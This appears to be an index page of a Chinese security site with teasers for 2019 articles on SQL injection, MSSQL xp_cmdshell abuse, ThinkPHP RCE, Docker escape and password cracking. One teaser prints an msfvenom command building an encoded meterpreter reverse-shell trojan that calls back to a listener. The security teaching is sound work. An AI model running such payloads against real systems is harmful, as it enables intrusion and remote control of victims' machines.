首页 ›网络安全

网络安全

Laravel 5.8 SQL 注入漏洞详解

0x01 背景最近研究Laravel框架的代码审计,因为3月份爆出过一个ignore函数的一个漏洞,网上找了些文章,看了下, 自己搭建环境测试,一直没有成功, 自己就详细的审计了一遍0x02 laravel介绍Laravel 在全球范围内有着众多用户。该框架在国外很受欢迎，国外用户量远大于国内。当然，国内也有大型企业使用该框 ...

网站防护 2019-6-8 08:51 2072
墨菲定律视角下的数据库入侵防御

作者：汉领信息两块随着网络信息化的发展，企业组织对网络安全的关注，由物理安全、边界安全和系统安全，已逐渐将注意力转移到业务安全和数据安全，对于业务数据的安全防护成本已占到企业组织IT预算成本的一半以上 ...

安全运维 2019-6-8 08:51 1883
详述MSSQL服务在渗透测试中的利用

前言：致力于复现最实用的漏洞利用过程。本文将带领大家学习以下内容：学习使用`xp_cmdshell`扩展存储过程学习调用`wscript.shell`学习MSSQL写文件学习沙盘模式提权学习注册表映像劫持提权part1 使用`xp_cmdshell`扩展存储过程步骤1 连接MSSQL服务首先打开S ...

渗透测试 2019-6-7 09:34 1154
「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的，在保持出色的性能和至简代码的同时，也注重易用性。但是简洁易操作也会出现漏洞，之前ThinkPHP官方修复了一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造 ...

漏洞挖掘 2019-6-6 07:20 1915
Kali Linux学习篇：使用Metaspoit生成控制端

如何使使用Metaspoit生成木马控制端？- 木马：控制端(我们)- 被控制端(倒霉蛋们)- 虚拟机的kali- 打开终端- 使用msfvenom -p命令来制作-msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '0x00' LHOST=192.168.1.108 LPORT=5555 -f exe asd.e ...

安全学院 2019-6-4 11:55 914
八种无密码身份验证方式

无密码身份验证在未来几年可能将变得更为普遍。我们不妨来看看目前的发展状况。过去几个月里，微软和谷歌一直在积极推动无密码身份验证。因为在iPhone上首推指纹身份验证，苹果已成无密码身份验证主要玩家。大多数PC和Mac笔记本电脑如今都提供 Touch ID，所以一到两年之内这些东西也可以用于无密码身份 ...

安全学院 2019-6-4 11:52 973
记一次排查腾讯云遭受攻击CPU100%的情况

今天一大早网站突然挂了然后服务器就登不上了现在就是想办法登录到云服务器上采用腾讯云 VNS浏览器登录https://cloud.tencent.com/developer/article/1367094开始排查首先top查看发现123这个进程高了下面可以输入命令ll /proc/5664就可以看到路径先删除进程文件在 kill -9 5664 解决战斗文章若有 ...

安全学院 2019-6-3 10:07 2036
Kali Linux学习篇：如何使用Kali Linux获取http协议账户密码？

HTTP介绍HTTP协议是Hyper Text Transfer Protocol（超文本传输协议）的缩写,是用于从万维网（WWW:World Wide Web ）服务器传输超文本到本地浏览器的传送协议。HTTP是一个基于TCP/IP通信协议来传递数据（HTML 文件, 图片文件, 查询结果等）。HTTP是一个属于应用层的面向对象的协议，由于其简捷、快速的 ...

渗透测试 2019-6-2 11:24 1544
黑客十大工具之John the Ripper

介绍John the Ripper 是一款常见的弱口令检测工具。本文呈现了渗透测试服务中一个细小的方面，通过使用John the ripper工具进行密码安全性测试的过程。John the ripper是一款基于字典的免费的密码破解工具。简单来说就是进行暴力密码破解，这种密码破解方式，耗费时间长、耗费处理器资源多。尝试的密码 ...

安全学院 2019-6-2 11:23 2565
干货来啦！带你初探Docker逃逸

Docker是当今使用范围最广的开源容器技术之一，具有高效易用的优点。然而如果使用Docker时采取不当安全策略，则可能导致系统面临安全威胁。本期安仔课堂，ISEC实验室的张老师将为大家介绍不同环境下，Docker逃逸至外部宿主机的情况。一、配置特权模式时的逃逸情况1.--privileged（特权模式）特权模式于 ...

安全学院 2019-6-1 09:18 821
隐私被泄露？企业该如何维护用户权益？

我们什么时候有了隐私，就是当我们有了自己的小秘密或者不想被别人知道的事情的时候。在我小的时候，隐私是什么，隐私就是爸爸妈妈偷偷看我写的日记。隐私是什么，是我稍微大了一些之后爸爸妈妈可以放心的让我睡在自己的房间里。每个人都有不想被别人知道的事情，而没有经过本人同意就擅自传播其信息就 ...

安全学院 2019-6-1 09:15 686
作为内网杀手的metsploit如何在外网使用呢？

经常使用metsploit的同学可能会有疑问，为啥我只能在同一局域网里面进行渗透主机呢？这主要是因为你的身处于内网之中。不知道大家对内网和外网的理解是什么？这里我给大家普及一下吧！经常使用metsploit的同学可能会有疑问，为啥我只能在同一局域网里面进行渗透主机呢？……这主要是因为你的身处于内 ...

渗透测试 2019-6-1 09:15 1332
网络安全措施的5个小技巧

网络需要定期清洁，就像人们的住所、汽车一样。为什么？答案很简单，安全条件差便会留下安全隐患。如果不定期检查使用的网络，那么其潜在的弱点和漏洞都可能会增加。以下是一些每年都改完成一次的任务，能够有效提高网络的安全性：

安全运维 2019-5-31 17:22 2134
SSH如何防御重放攻击

SSH之所以能够保证安全，原因在于它采用了公钥加密。整个过程是这样的：远程主机收到用户的登录请求，把自己的公钥发给用户。用户使用这个公钥，将登录密码加密后，发送回来。远程主机用自己的私钥，解密登录密码，如果密码正确，就同意用户登录。如果中间人在用户第二个步骤获取到这个请求，这个请求 ...

安全学院 2019-5-31 00:45 850
豆瓣评分8.5！世界顶级黑客写的这本Web安全指南一定要看

由于网络技术日趋成熟，黑客们也将注意力从以往对网络服务器的攻击逐步转移到了对Web应用的攻击。对于web攻击也是非常简单的，随着各大企业对安全的重视，Web安全也 ...

安全学院 2019-5-31 00:44 1298

1 ... 77 78 79 808182 83 84 85 ... 1000 / 1000 页下一页

网络安全

相关分类